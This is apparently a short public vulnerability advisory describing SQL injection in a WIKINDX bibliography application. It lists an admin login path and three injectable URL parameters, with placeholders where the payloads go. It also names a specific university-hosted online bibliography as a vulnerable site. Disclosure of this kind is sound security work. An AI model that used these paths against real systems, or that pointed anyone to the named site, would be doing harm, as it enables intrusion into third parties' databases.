Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in a pplication`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser or with any SQL Injector Tool. ################################################################### # Admin Panel Login Path : ************************* /index.php?action=usersgroups_MYWIKINDX_CORE # SQL Injection Exploit : ********************** /index.php?action=list_LISTSOMERESOURCES_CORE&method=categoryProcess&id=[SQL Injection]&type=lastMulti /index.php?action=list_LISTSOMERESOURCES_CORE&method=categoryProcess&id=[ID-NUMBER]&PagingStart=[SQL Injection] /index.php?action=list_LISTSOMERESOURCES_CORE&method=categoryProcess&id=1&PagingStart=[SQL Injection] ################################################################### # Example Vulnerable Sites : ************************* Germany Bonn University BOBC Bonner Online-Bibliographie zur Comicforschung is vulnerable for SQL Injection.
